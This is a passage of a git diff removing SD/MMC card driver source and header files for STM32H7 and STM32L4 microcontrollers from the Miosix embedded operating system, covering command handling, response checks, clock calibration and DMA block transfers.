lba) -{ - if(nblk==0) return true; - while(nblk>32767) - { - if(multipleBlockWrite(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - - //Deal with cache coherence - markBufferBeforeDmaWrite(buffer,nblk*512); - - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - if(nblk>1) - { - CmdResult cr=Command::send(Command::ACMD23,nblk); - if(cr.validateR1Response()==false) return false; - } - - transferCommonSetup(buffer); - - //Data transfer is considered complete once the SDMMC transfer complete - //interrupt occurs, that happens when the last data was written to the SDMMC - //Both SDMMC and DMA error interrupts are active to catch errors - SDMMC->MASK=SDMMC_MASK_DATAENDIE | //Interrupt on data end - SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA transfer complete - // SDMMC_MASK_STBITERRIE | //Interrupt on start bit error - SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun - SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDMMC_MASK_DTIMEOUTIE; //Interrupt on data timeout - - SDMMC->IDMABASE0 = reinterpret_cast(buffer); - SDMMC->IDMACTRL = SDMMC_IDMA_IDMAEN; - - SDMMC->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDMMC->DCTRL=(9<<4) | SDMMC_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - - SDMMC->DCTRL=0; //Disable data path state machine - SDMMC->MASK=0; - - // CMD12 is sent to end CMD25 (multiple block write), or to abort an - // unfinished write in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - return true; -} - -// -// Class CardSelector -// - -#ifndef SD_KEEP_CARD_SELECTED -/** - * \internal - * Simple RAII class for selecting an SD/MMC card an automatically deselect it - * at the end of the scope. - */ -class CardSelector -{ -public: - /** - * \internal - * Constructor. Selects the card. - * The result of the select operation is available through its succeded() - * member function - */ - explicit CardSelector() - { - success=Command::send( - Command::CMD7,Command::getRca()<<16).validateR1Response(); - } - - /** - * \internal - * \return true if the card was selected, false on error - */ - bool succeded() { return success; } - - /** - * \internal - * Destructor, ensures that the card is deselected - */ - ~CardSelector() - { - Command::send(Command::CMD7,0); //Deselect card. This will timeout - } - -private: - bool success; -}; -#endif //SD_KEEP_CARD_SELECTED - -// -// Initialization helper functions -// - -/** - * \internal - * Initialzes the SDMMC peripheral in the STM32 - */ -static void initSDMMCPeripheral() -{ - { - //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe - FastInterruptDisableLock lock; - RCC->AHB4ENR |= RCC_AHB4ENR_GPIOCEN - | RCC_AHB4ENR_GPIODEN - ; - RCC_SYNC(); - #if SD_SDMMC==1 - RCC->AHB3ENR |= RCC_AHB3ENR_SDMMC1EN; - #else - RCC->AHB2ENR |= RCC_AHB2ENR_SDMMC2EN; - #endif - RCC_SYNC(); - #if SD_SDMMC==2 - sdD0::mode(Mode::ALTERNATE); - sdD0::alternateFunction(11); - #ifndef SD_ONE_BIT_DATABUS - sdD1::mode(Mode::ALTERNATE); - sdD1::alternateFunction(11); - sdD2::mode(Mode::ALTERNATE); - sdD2::alternateFunction(9); - sdD3::mode(Mode::ALTERNATE); - sdD3::alternateFunction(9); - #endif // SD_ONE_BIT_DATABUS - sdCLK::mode(Mode::ALTERNATE); - sdCLK::alternateFunction(11); - sdCMD::mode(Mode::ALTERNATE); - sdCMD::alternateFunction(11); - #else - sdD0::mode(Mode::ALTERNATE); - sdD0::alternateFunction(12); - #ifndef SD_ONE_BIT_DATABUS - sdD1::mode(Mode::ALTERNATE); - sdD1::alternateFunction(12); - sdD2::mode(Mode::ALTERNATE); - sdD2::alternateFunction(12); - sdD3::mode(Mode::ALTERNATE); - sdD3::alternateFunction(12); - #endif // SD_ONE_BIT_DATABUS - sdCLK::mode(Mode::ALTERNATE); - sdCLK::alternateFunction(12); - sdCMD::mode(Mode::ALTERNATE); - sdCMD::alternateFunction(12); - #endif - } - - NVIC_SetPriority(SDMMC_IRQn,15);//Low priority for SDMMC - NVIC_EnableIRQ(SDMMC_IRQn); - - SDMMC->POWER=0; //Power off state - delayUs(1); - SDMMC->CLKCR=0; - SDMMC->CMD=0; - SDMMC->DCTRL=0; - SDMMC->ICR=0x4005ff; - SDMMC->POWER=SDMMC_POWER_PWRCTRL_1 | SDMMC_POWER_PWRCTRL_0; //Power on state - //This delay is particularly important: when setting the POWER register a - //glitch on the CMD pin happens. This glitch has a fast fall time and a slow - //rise time resembling an RC charge with a ~6us rise time. If the clock is - //started too soon, the card sees a clock pulse while CMD is low, and - //interprets it as a start bit. No, setting POWER to powerup does not - //eliminate the glitch. - delayUs(10); - ClockController::setLowSpeedClock(); - //Wait at least 74 clock cycles before first command - Thread::nanoSleep(250000); -} - -/** - * \internal - * Detect if the card is an SDHC, SDv2, SDv1, MMC - * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC - * or Invalid if card detect failed. - */ -static CardType detectCardType() -{ - const int INIT_TIMEOUT=200; //200*10ms= 2 seconds - CmdResult r=Command::send(Command::CMD8,0x1aa); - if(r.validateError()) - { - //We have an SDv2 card connected - if(r.getResponse()!=0x1aa) - { - DBGERR("CMD8 validation: voltage range fail\n"); - return Invalid; - } - for(int i=0;i SDIODriver::instance() -{ - static FastMutex m; - static intrusive_ref_ptr instance; - Lock l(m); - - if(!instance) instance=new SDIODriver(); - return instance; -} - -ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); - - for(int i=0;i(buffer), - nSectors,lba)==false) error=true; - - - - if(error==false) - { - if(i>0) DBGERR("Read: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); - - for(int i=0;i(buffer), - nSectors,lba)==false) error=true; - - - - if(error==false) - { - if(i>0) DBGERR("Write: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -int SDIODriver::ioctl(int cmd, void* arg) -{ - DBG("SDIODriver::ioctl()\n"); - if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); - //Note: no need to select card, since status can be queried even with card - //not selected. - return waitForCardReady() ? 0 : -EFAULT; -} - -SDIODriver::SDIODriver() : Device(Device::BLOCK) -{ - initSDMMCPeripheral(); - - // This is more important than it seems, since CMD55 requires the card's RCA - // as argument. During initalization, after CMD0 the card has an RCA of zero - // so without this line ACMD41 will fail and the card won't be initialized. - Command::setRca(0); - - //Send card reset command - CmdResult r=Command::send(Command::CMD0,0); - if(r.validateError()==false) return; - - cardType=detectCardType(); - if(cardType==Invalid) return; //Card detect failed - if(cardType==MMC) return; //MMC cards currently unsupported - - // Now give an RCA to the card. In theory we should loop and enumerate all - // the cards but this driver supports only one card. - r=Command::send(Command::CMD2,0); - //CMD2 sends R2 response, whose CMDINDEX field is wrong - if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) - { - r.validateError(); - return; - } - r=Command::send(Command::CMD3,0); - if(r.validateR6Response()==false) return; - Command::setRca(r.getResponse()>>16); - DBG("Got RCA=%u\n",Command::getRca()); - if(Command::getRca()==0) - { - //RCA=0 can't be accepted, since it is used to deselect cards - DBGERR("RCA=0 is invalid\n"); - return; - } - - //Lastly, try selecting the card and configure the latest bits - { - #ifndef SD_KEEP_CARD_SELECTED - CardSelector selector; - if(selector.succeded()==false) return; - #else //SD_KEEP_CARD_SELECTED - //Select card here, and keep it selected indefinitely - r=Command::send(Command::CMD7,Command::getRca()<<16); - if(r.validateR1Response()==false) return; - #endif //SD_KEEP_CARD_SELECTED - - r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status - if(r.validateR1Response()==false) return; - if(r.getState()!=4) //4=Tran state - { - DBGERR("CMD7 was not able to select card\n"); - return; - } - - #ifndef SD_ONE_BIT_DATABUS - r=Command::send(Command::ACMD6,2); //Set 4 bit bus width - if(r.validateR1Response()==false) return; - #endif //SD_ONE_BIT_DATABUS - - if(cardType!=SDHC) - { - r=Command::send(Command::CMD16,512); //Set 512Byte block length - if(r.validateR1Response()==false) return; - } - } - - // Now that card is initialized, perform self calibration of maximum - // possible read/write speed. This as a side effect enables 4bit bus width. - ClockController::calibrateClockSpeed(this); - - DBG("SDMMC init: Success\n"); -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/sd_stm32h7.h b/miosix/arch/common/drivers/sd_stm32h7.h deleted file mode 100644 index 614613904..000000000 --- a/miosix/arch/common/drivers/sd_stm32h7.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SD_STM32H7_H -#define SD_STM32H7_H - -#include "kernel/sync.h" -#include "filesystem/devfs/devfs.h" -#include "filesystem/ioctl.h" - -namespace miosix { - -/** - * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers - */ -class SDIODriver : public Device -{ -public: - /** - * \return an instance to this class, singleton - */ - static intrusive_ref_ptr instance(); - - virtual ssize_t readBlock(void *buffer, size_t size, off_t where); - - virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - virtual int ioctl(int cmd, void *arg); -private: - /** - * Constructor - */ - SDIODriver(); - - FastMutex mutex; -}; - -} //namespace miosix - -#endif //SD_STM32F2_F4_H diff --git a/miosix/arch/common/drivers/sd_stm32l4.cpp b/miosix/arch/common/drivers/sd_stm32l4.cpp deleted file mode 100644 index f45c2b9df..000000000 --- a/miosix/arch/common/drivers/sd_stm32l4.cpp +++ /dev/null @@ -1,1168 +0,0 @@ - -#include "sd_stm32l4.h" -#include "interfaces/bsp.h" -#include "interfaces/arch_registers.h" -#include "core/cache_cortexMx.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/delays.h" -#include "kernel/kernel.h" -#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions -#include -#include -#include - - - -//Note: enabling debugging might cause deadlock when using sleep() or reboot() -//The bug won't be fixed because debugging is only useful for driver development -///\internal Debug macro, for normal conditions -//#define DBG iprintf -#define DBG(x,...) do {} while(0) -///\internal Debug macro, for errors only -//#define DBGERR iprintf -#define DBGERR(x,...) do {} while(0) - -void __attribute__((naked)) SDMMC1_IRQHandler() -{ - saveContext(); - asm volatile("bl _ZN6miosix12SDMMCirqImplEv"); - restoreContext(); -} - - - -namespace miosix { - -static volatile bool transferError; ///< \internal DMA or SDIO transfer error -static Thread *waiting; ///< \internal Thread waiting for transfer -static unsigned int dmaFlags; ///< \internal DMA status flags -static unsigned int sdioFlags; ///< \internal SDIO status flags - - - -/** - * \internal - * DMA2 Stream3 interrupt handler actual implementation - */ -void __attribute__((used)) SDMMCirqImpl() -{ - sdioFlags=SDMMC1->STA; - - if(sdioFlags & (SDMMC_STA_RXOVERR | - SDMMC_STA_TXUNDERR | SDMMC_STA_DTIMEOUT | SDMMC_STA_DCRCFAIL | SDMMC_STA_DABORT | SDMMC_STA_IDMATE)) - transferError=true; - - - //Changed: Old value was 0x7ff - SDMMC1->ICR=0x1fe00fff;//Clear flags - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/* - * Operating voltage of device. It is sent to the SD card to check if it can - * work at this voltage. Range *must* be within 28..36 - * Example 33=3.3v - */ -//static const unsigned char sdVoltage=33; //Is defined in board_settings.h -static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec - -/** - * \internal - * Possible state of the cardType variable. - */ -enum CardType -{ - Invalid=0, ///<\internal Invalid card type - MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC - SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 - SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 - SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC -}; - -///\internal Type of card. -static CardType cardType=Invalid; - -//SD card GPIOs -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; - -// -// Class CmdResult -// - -/** - * \internal - * Contains the result of an SD/MMC command - */ -class CmdResult -{ -public: - - /** - * \internal - * Possible outcomes of sending a command - */ - enum Error - { - Ok=0, /// No errors - Timeout, /// Timeout while waiting command reply - CRCFail, /// CRC check failed in command reply - RespNotMatch,/// Response index does not match command index - ACMDFail /// Sending CMD55 failed - }; - - /** - * \internal - * Default constructor - */ - CmdResult(): cmd(0), error(Ok), response(0) {} - - /** - * \internal - * Constructor, set the response data - * \param cmd command index of command that was sent - * \param result result of command - */ - CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), - response(SDMMC1->RESP1) {} - - /** - * \internal - * \return the 32 bit of the response. - * May not be valid if getError()!=Ok or the command does not send a - * response, such as CMD0 - */ - unsigned int getResponse() { return response; } - - /** - * \internal - * \return command index - */ - unsigned char getCmdIndex() { return cmd; } - - /** - * \internal - * \return the error flags of the response - */ - Error getError() { return error; } - - /** - * \internal - * Checks if errors occurred while sending the command. - * \return true if no errors, false otherwise - */ - bool validateError(); - - /** - * \internal - * interprets this->getResponse() as an R1 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR1Response(); - - /** - * \internal - * Same as validateR1Response, but can be called with interrupts disabled. - * \return true on success, false on failure - */ - bool IRQvalidateR1Response(); - - /** - * \internal - * interprets this->getResponse() as an R6 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR6Response(); - - /** - * \internal - * \return the card state from an R1 or R6 resonse - */ - unsigned char getState(); - -private: - unsigned char cmd; ///<\internal Command index that was sent - Error error; ///<\internal possible error that occurred - unsigned int response; ///<\internal 32bit response -}; - -bool CmdResult::validateError() -{ - switch(error) - { - case Ok: - return true; - case Timeout: - DBGERR("CMD%d: Timeout\n",cmd); - break; - case CRCFail: - DBGERR("CMD%d: CRC Fail\n",cmd); - break; - case RespNotMatch: - DBGERR("CMD%d: Response does not match\n",cmd); - break; - case ACMDFail: - DBGERR("CMD%d: ACMD Fail\n",cmd); - break; - } - return false; -} - -bool CmdResult::validateR1Response() -{ - if(error!=Ok) return validateError(); - //Note: this number is obtained with all the flags of R1 which are errors - //(flagged as E in the SD specification), plus CARD_IS_LOCKED because - //locked card are not supported by this software driver - if((response & 0xfff98008)==0) return true; - DBGERR("CMD%d: R1 response error(s):\n",cmd); - if(response & (1<<31)) DBGERR("Out of range\n"); - if(response & (1<<30)) DBGERR("ADDR error\n"); - if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); - if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); - if(response & (1<<27)) DBGERR("ERASE param\n"); - if(response & (1<<26)) DBGERR("WP violation\n"); - if(response & (1<<25)) DBGERR("card locked\n"); - if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); - if(response & (1<<23)) DBGERR("command CRC failed\n"); - if(response & (1<<22)) DBGERR("illegal command\n"); - if(response & (1<<21)) DBGERR("ECC fail\n"); - if(response & (1<<20)) DBGERR("card controller error\n"); - if(response & (1<<19)) DBGERR("unknown error\n"); - if(response & (1<<16)) DBGERR("CSD overwrite\n"); - if(response & (1<<15)) DBGERR("WP ERASE skip\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -bool CmdResult::IRQvalidateR1Response() -{ - if(error!=Ok) return false; - if(response & 0xfff98008) return false; - return true; -} - -bool CmdResult::validateR6Response() -{ - if(error!=Ok) return validateError(); - if((response & 0xe008)==0) return true; - DBGERR("CMD%d: R6 response error(s):\n",cmd); - if(response & (1<<15)) DBGERR("command CRC failed\n"); - if(response & (1<<14)) DBGERR("illegal command\n"); - if(response & (1<<13)) DBGERR("unknown error\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -unsigned char CmdResult::getState() -{ - unsigned char result=(response>>9) & 0xf; - DBG("CMD%d: State: ",cmd); - switch(result) - { - case 0: DBG("Idle\n"); break; - case 1: DBG("Ready\n"); break; - case 2: DBG("Ident\n"); break; - case 3: DBG("Stby\n"); break; - case 4: DBG("Tran\n"); break; - case 5: DBG("Data\n"); break; - case 6: DBG("Rcv\n"); break; - case 7: DBG("Prg\n"); break; - case 8: DBG("Dis\n"); break; - case 9: DBG("Btst\n"); break; - default: DBG("Unknown\n"); break; - } - return result; -} - -// -// Class Command -// - -/** - * \internal - * This class allows sending commands to an SD or MMC - */ -class Command -{ -public: - - /** - * \internal - * SD/MMC commands - * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the - * sequence CMD55, CMDxx - * - bit from #0 to #5 indicate command index (CMD0..CMD63) - * - bit #6 is don't care - */ - enum CommandType - { - CMD0=0, //GO_IDLE_STATE - CMD2=2, //ALL_SEND_CID - CMD3=3, //SEND_RELATIVE_ADDR - ACMD6=0x80 | 6, //SET_BUS_WIDTH - CMD7=7, //SELECT_DESELECT_CARD - ACMD41=0x80 | 41, //SEND_OP_COND (SD) - CMD8=8, //SEND_IF_COND - CMD9=9, //SEND_CSD - CMD12=12, //STOP_TRANSMISSION - CMD13=13, //SEND_STATUS - CMD16=16, //SET_BLOCKLEN - CMD17=17, //READ_SINGLE_BLOCK - CMD18=18, //READ_MULTIPLE_BLOCK - ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) - CMD24=24, //WRITE_BLOCK - CMD25=25, //WRITE_MULTIPLE_BLOCK - CMD55=55 //APP_CMD - }; - - /** - * \internal - * Send a command. - * \param cmd command index (CMD0..CMD63) or ACMDxx command - * \param arg the 32 bit argument to the command - * \return a CmdResult object - */ - static CmdResult send(CommandType cmd, unsigned int arg); - - /** - * \internal - * Set the relative card address, obtained during initialization. - * \param r the card's rca - */ - static void setRca(unsigned short r) { rca=r; } - - /** - * \internal - * \return the card's rca, as set by setRca - */ - static unsigned int getRca() { return static_cast(rca); } - -private: - static unsigned short rca;///<\internal Card's relative address -}; - -CmdResult Command::send(CommandType cmd, unsigned int arg) -{ - unsigned char cc=static_cast(cmd); - //Handle ACMDxx as CMD55, CMDxx - if(cc & 0x80) - { - DBG("ACMD%d\n",cc & 0x3f); - CmdResult r=send(CMD55,(static_cast(rca))<<16); - if(r.validateR1Response()==false) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - //Bit 5 @ 1 = next command will be interpreted as ACMD - if((r.getResponse() & (1<<5))==0) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - } else DBG("CMD%d\n",cc & 0x3f); - - //Send command - cc &= 0x3f; - unsigned int command= SDMMC_CMD_CPSMEN | static_cast(cc); - if(cc!=CMD0) command |= SDMMC_CMD_WAITRESP_0; //CMD0 has no response - if(cc==CMD2) command |= SDMMC_CMD_WAITRESP_1; //CMD2 has long response - if(cc==CMD9) command |= SDMMC_CMD_WAITRESP_1; //CMD9 has long response - SDMMC1->ARG = arg; - SDMMC1->CMD = command; - - //CMD0 has no response, so wait until it is sent - if(cc==CMD0) - { - for(int i=0;i<500;i++) - { - if(SDMMC1->STA & SDMMC_STA_CMDSENT) - { - SDMMC1->ICR=0x1fe00fff;//Clear flags - return CmdResult(cc,CmdResult::Ok); - } - delayUs(1); - } - SDMMC1->ICR = 0x1fe00fff;//Clear flags - return CmdResult(cc,CmdResult::Timeout); - } - - //Command is not CMD0, so wait a reply - for(int i=0;i<500;i++) - { - unsigned int status=SDMMC1->STA; - if(status & SDMMC_STA_CMDREND) - { - SDMMC1->ICR=0x1fe00fff;//Clear flags - if(SDMMC1->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); - else return CmdResult(cc,CmdResult::RespNotMatch); - } - if(status & SDMMC_STA_CCRCFAIL) - { - SDMMC1->ICR=SDMMC_ICR_CCRCFAILC; - return CmdResult(cc,CmdResult::CRCFail); - } - if(status & SDMMC_STA_CTIMEOUT) break; - delayUs(1); - } - SDMMC1->ICR=SDMMC_ICR_CTIMEOUTC; - return CmdResult(cc,CmdResult::Timeout); -} - -unsigned short Command::rca=0; - -// -// Class ClockController -// - -/** - * \internal - * This class controls the clock speed of the SDIO peripheral. It originated - * from a previous version of this driver, where the SDIO was used in polled - * mode instead of DMA mode, but has been retained to improve the robustness - * of the driver. - */ -class ClockController -{ -public: - - /** - * \internal. Set a low clock speed of 400KHz or less, used for - * detecting SD/MMC cards. This function as a side effect enables 1bit bus - * width, and disables clock powersave, since it is not allowed by SD spec. - */ - static void setLowSpeedClock() - { - clockReductionAvailable=0; - // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus - // width, no clock bypass, no powersave. - // Set low clock speed 400KHz - SDMMC1->CLKCR=CLOCK_400KHz; - SDMMC1->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles - } - - /** - * \internal - * Automatically select the data speed. This routine selects the highest - * sustainable data transfer speed. This is done by binary search until - * the highest clock speed that causes no errors is found. - * This function as a side effect enables 4bit bus width, and clock - * powersave. - */ - static void calibrateClockSpeed(SDIODriver *sdio); - - /** - * \internal - * Since clock speed is set dynamically by binary search at runtime, a - * corner case might be that of a clock speed which results in unreliable - * data transfer, that sometimes succeeds, and sometimes fail. - * For maximum robustness, this function is provided to reduce the clock - * speed slightly in case a data transfer should fail after clock - * calibration. To avoid inadvertently considering other kind of issues as - * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS - * times after clock calibration, subsequent calls will fail. This will - * avoid other issues causing an ever decreasing clock speed. - * \return true on success, false on failure - */ - static bool reduceClockSpeed(); - - /** - * \internal - * Read and write operation do retry during normal use for robustness, but - * during clock claibration they must not retry for speed reasons. This - * member function returns 1 during clock claibration and MAX_RETRY during - * normal use. - */ - static unsigned char getRetryCount() { return retries; } - -private: - /** - * Set SDIO clock speed - * \param clkdiv speed is SDIOCLK/(clkdiv+2) - */ - static void setClockSpeed(unsigned int clkdiv); - - static const unsigned int SDIOCLK=48000000; //On stm32f2 SDIOCLK is always 48MHz - static const unsigned int CLOCK_400KHz=60; //48MHz/(2*60)=400KHz - #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX - //Some boards using SDRAM cause SDIO TX Underrun occasionally - static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; - #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX - static const unsigned int CLOCK_MAX=0; //48MHz/(0+2) =24MHz - #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX - - #ifdef SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 1bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS= SDMMC_CLKCR_PWRSAV; - #else //SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 4bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS= //SDIO_CLKCR_CLKEN | - SDMMC_CLKCR_WIDBUS_0 | SDMMC_CLKCR_PWRSAV; - #endif //SD_ONE_BIT_DATABUS - - ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed - static const unsigned char MAX_ALLOWED_REDUCTIONS=1; - - ///\internal value returned by getRetryCount() while *not* calibrating clock. - static const unsigned char MAX_RETRY=10; - - ///\internal Used to allow only one call to reduceClockSpeed() - static unsigned char clockReductionAvailable; - - ///\internal value returned by getRetryCount() - static unsigned char retries; -}; - -void ClockController::calibrateClockSpeed(SDIODriver *sdio) -{ - - //During calibration we call readBlock() which will call reduceClockSpeed() - //so not to invalidate calibration clock reduction must not be available - clockReductionAvailable=0; - retries=1; - - DBG("Automatic speed calibration\n"); - unsigned int buffer[512/sizeof(unsigned int)]; - unsigned int minFreq=CLOCK_400KHz; - unsigned int maxFreq=CLOCK_MAX; - unsigned int selected; - while(minFreq-maxFreq>1) - { - selected=(minFreq+maxFreq)/2; - DBG("Trying CLKCR=%d\n",selected); - setClockSpeed(selected); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - minFreq=selected; - else maxFreq=selected; - } - //Last round of algorithm - setClockSpeed(maxFreq); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - { - DBG("Optimal CLKCR=%d\n",maxFreq); - } else { - setClockSpeed(minFreq); - DBG("Optimal CLKCR=%d\n",minFreq); - } - - //Make clock reduction available - clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; - retries=MAX_RETRY; -} - -bool ClockController::reduceClockSpeed() -{ - DBGERR("clock speed reduction requested\n"); - //Ensure this function can be called only a few times - if(clockReductionAvailable==0) return false; - clockReductionAvailable--; - - unsigned int currentClkcr=SDMMC1->CLKCR & 0x3ff; - if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value - - //If the value of clockcr is low, increasing it by one is enough since - //frequency changes a lot, otherwise increase by 2. - if(currentClkcr < 6) currentClkcr++; // was < 10 with the f4 - else currentClkcr+=2; - - setClockSpeed(currentClkcr); - return true; -} - -void ClockController::setClockSpeed(unsigned int clkdiv) -{ - #ifndef SD_KEEP_CARD_SELECTED - SDMMC1->CLKCR = clkdiv | CLKCR_FLAGS; - #else //SD_KEEP_CARD_SELECTED - SDMMC1->CLKCR = clkdiv | CLKCR_FLAGS | SDMMC_CLKCR_HWFC_EN; - #endif //SD_KEEP_CARD_SELECTED - //Timeout 600ms expressed in SD_CK cycles - SDMMC1-> DTIMER = (6*SDIOCLK)/((clkdiv == 0 ? 1 : 2 * clkdiv)*10); -} - -unsigned char ClockController::clockReductionAvailable = false; -unsigned char ClockController::retries = ClockController::MAX_RETRY; - -// -// Data send/receive functions -// - -/** - * \internal - * Wait until the card is ready for data transfer. - * Can be called independently of the card being selected. - * \return true on success, false on failure - */ -static bool waitForCardReady() -{ - //The card may remain busy for up to 500ms and there appears to be no way - //to set an interrupt to wait until it becomes ready again. We can't just - //poll for that long as if a high priority thread is stuck polling all lower - //priority threads block, so we are forced to do a sleep. The initial value - //of 2ms was found to be impacting performance excessively, so we take - //advantage of high resolution timers by sleeping for 200us, and fallback to - //the previous value only for slow configurations - #if !defined(__CODE_IN_XRAM) - const long long sleepTime=200000; - #else - const long long sleepTime=2000000; - #endif - long long timeout=getTime()+1500000000; //Timeout 1.5 second - do { - CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); - if(cr.validateR1Response()==false) return false; - //Bit 8 in R1 response means ready for data. - if(cr.getResponse() & (1<<8)) return true; - Thread::nanoSleep(sleepTime); - } while(getTime()ICR=0x1fe00fff; //Clear interrupts - - SDMMC1->IDMACTRL = SDMMC_IDMA_IDMAEN & ~(SDMMC_IDMA_IDMABMODE); //Enable dma without double buffer - SDMMC1->IDMABASE0 = reinterpret_cast(buffer); //Set buffer base address (where to read/write) - - transferError=false; - dmaFlags=sdioFlags=0; - waiting=Thread::getCurrentThread(); -} - -/** - * \internal - * Read a given number of contiguous 512 byte blocks from an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to read. - * \param lba logical block address of the first block to read. - */ -static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>32767) - { - if(multipleBlockRead(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - dmaTransferCommonSetup(buffer); - - //Data transfer is considered complete once the DMA transfer complete - //interrupt occurs, that happens when the last data was written in the - //buffer. Both SDIO and DMA error interrupts are active to catch errors - SDMMC1->MASK= SDMMC_MASK_DATAENDIE | - SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun - SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDMMC_MASK_DTIMEOUTIE | //Interrupt on data timeout - SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA events - SDMMC_MASK_DABORTIE; //Interrupt on aborted - SDMMC1->DLEN=nblk*512; - - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); - if(cr.validateR1Response()) - { - //Block size 512 